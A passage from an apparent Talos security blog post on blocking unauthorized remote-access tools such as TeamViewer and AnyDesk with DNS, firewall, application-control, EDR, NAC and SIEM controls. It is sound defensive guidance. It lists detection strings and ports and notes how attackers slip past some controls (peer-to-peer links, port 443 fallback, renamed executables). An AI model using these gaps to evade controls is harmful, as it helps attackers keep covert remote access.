Simply clicking “Block this app” gives the administrator the ability to block future DNS requests associated with any particular result. If you prefer to take an even more proactive approach, going to “Policies > Policy Components > Application Settings” allows you to search all applications currently categorized by Umbrella, whether they have been seen on your network or not, and block them by policy. Again, the “Collaboration” and “IT Services Management” categories should be the areas of focus for policy review.

As with all of these technical controls, there are a few limitations. The first major caveat is that this only works if the DNS queries are evaluated by your security stack. In the case of DNS traffic from a home user’s system not traveling over the corporate network, the activity would be invisible. The second major caveat is that some remote management software has direct peer-to-peer capabilities, meaning the software might not send a DNS query to an easily identifiable domain when initiating a connection. 

**Firewall controls**

While less scalable and reliable, basic IP address blocking can be beneficial for preventing unauthorized remote software connections. Some vendors list static IP addresses for their central servers on their support sites that can be leveraged to control this access. However, many vendor IP addresses change periodically, making the task a bit challenging.

Another potentially fruitful approach to firewall traffic blocking is by port number. For example, TeamViewer prefers to use port 5938, although it can fall back on the practically unblockable port 443. While blocking port 5938 would not stop the connection, a properly configured alert would provide defenders with an early warning that TeamViewer was trying to connect out.

Some firewalls also provide additional functionality around session content, similar to Umbrella’s capabilities. Firewalls such as Cisco’s Meraki provide an allow/block URL listing that can be configured to prevent connectivity to unapproved remote management software sites. Cisco Meraki can provide content filtering options that may be helpful in blocking remote management/access sites.

Administrators should consider that firewall controls to combat unauthorized remote software management connections can have unintended consequences and should be heavily tested and piloted prior to implementation.

Verify that IP addresses are dedicated to that application prior to blocking in order to avoid blocking Content Delivery Network (CDN) nodes or other cloud computing shared resources. 

Finally, network segmentation or micro-segmentation can be useful in blocking unauthorized remote management software usage. For instance, categorizing and organizing server resources separate from workstation resources can allow for more tailored options around blocking all unnecessary traffic at the firewall, include that which may be associated with remote management tools. Some organizations already do this well by integrating with group policy configurations.

**Host-based controls****Windows Defender Application Control (WDAC) and AppLocker**

Of all the controls discussed in this post, WDAC and AppLocker are the only ones that can offer almost 100 percent protection against unauthorized remote management/access software execution.

In their most secure configuration, which allows only pre-approved software to run, users or adversaries can't run unexpected executables. However, this comes at a cost, as the approved software baseline maintenance level of effort can be high, and the user experience can be very limited if they are not allowed to install applications as needed.

WDAC and AppLocker offer considerable flexibility in their policies, so some organizations choose to only lock down their critical servers, such as domain controllers, which leaves user system policies more flexible. This approach has benefits far beyond simply blocking remote access/management software, as it will stop most malware from executing, as well.

Keep in mind that, while WDAC is currently more difficult to configure, it has more advanced capabilities and Microsoft is positioning it as the replacement for AppLocker. At the moment, AppLocker is receiving security updates, but no new feature updates.

**Registry filename blocks**

It is possible to block remote management/access software execution by filename via a registry “DisallowRun” key. However, Talos IR does not recommend this approach, except as a containment measure during incident response, since it is not scalable as a preventative measure and is trivially easy to bypass by renaming the executable or modifying the registry. 

**EDR blocks**

Almost every modern EDR can block file hashes, which gives defenders the capability to block the hashes associated with remote management/access software installers and/or installed executables. However, similarly to the filename GPO blocks, this is not scalable or reliable as a proactive measure, since every new version of every software distribution will have a new hash value. This measure should be restricted to containment during incident response only. 

Some EDR solutions offer methods to block vulnerable or unauthorized software, albeit with significant caveats regarding the limitations of those capabilities. The authors of this article have not tested those capabilities but note them here for the sake of completeness.

**Host-based firewalls**

The recommendations for host-based firewall rules are much the same as standalone firewalls, covered above. These can be useful where administrators expect users to roam outside of the boundary of the corporate network, such as home workers off the corporate VPN or using a split-tunnel VPN implementation. 

**Administrator permission restriction**

Restricting administrator permissions so that most users cannot conduct administrator actions on their work computer, such as installing remote access/management software, can help limit an adversary’s ability to install this software after the initial compromise.

Applying the principle of least privilege, which includes both locking down local administrator permissions and limiting the permissions of users’ domain accounts, is considered standard best practice.

**NAC controls**

While network access control (NAC) solutions do not directly block the use of remote management software, they can ensure that all other technical controls are working properly before admitting an endpoint to the network. If the device is a rogue system or lacks EDR, for example, NAC would prevent it from joining.

Another benefit offered by a NAC solution is software version enforcement through custom rules. In Cisco ISE, for example, there are Posture Checks. Organizations can use this to ensure that only the approved version(s) of their approved remote management tool are allowed on the network, directly addressing the threat of an adversary introducing an older version of the approved solution to the network for malicious purposes.

**Alerts and forensics**

Due to the complexity of implementing all these controls, detection rules can serve as a backup in case an adversary finds a way to circumvent the previous mitigations we discussed. The possibilities for these “tripwire” detections are endless, and SOCs/threat-hunting teams should continuously think of ways to improve them, but some ideas are listed below.

**Central log collection**

The first prerequisite for any successful detections is to have centralized log aggregation. At the very minimum, this should ingest firewall logs, EDR alerts and Windows Event logs for key servers. 

**SIEM alerts for suspicious strings**

Setting up a simple alert that triggers upon observation of strings associated with unauthorized remote access/management software product names (e.g., “AnyDesk”) can be an effective way to proactively identify unexpected product installations that were not otherwise blocked.

For example, an MSI installation would generate an Event 11707 entry in the Windows Application Event logs containing the software product name. If the SIEM were ingesting and evaluating those event logs, it would fire an alert, thereby alerting the SOC to a potential installation. This rule would need to be tuned to avoid excessive false positives, but it could result in a valuable early detection method. 

**SIEM alerts for firewall blocks on unique ports**

Enhanced alerting may be necessary to draw a SOC’s attention to firewall blocks associated with remote management/access traffic. Firewalls continuously block traffic, generally dropping thousands or millions of packets per hour. With that in mind, SOCs are not alerted every time a firewall rule drops traffic — especially if the rule that drops the traffic is the Implicit Deny rule blocking all traffic that was not specifically allowed. However, if an internal host attempts to communicate over a port dedicated to remote access/management software, that might merit attention from the SOC. 

It's worth considering creating an SIEM rule that alerts on any firewall block event involving outbound traffic to certain key ports, for example, 5938 (associated with TeamViewer). That alert, while an indication that the network blocks are working as intended, would be a good indication that the SOC needs to investigate the system originating the traffic.

The level of effort required to properly secure remote management/access software is daunting. However, the frequency of use by adversaries makes that effort a necessity. In the wrong hands, these tools serve as a ready-made command and control mechanism. If an organization can afford to secure its VPN solution, it should almost certainly devote resources to locking down unauthorized remote management software, as well.

Tag

#perl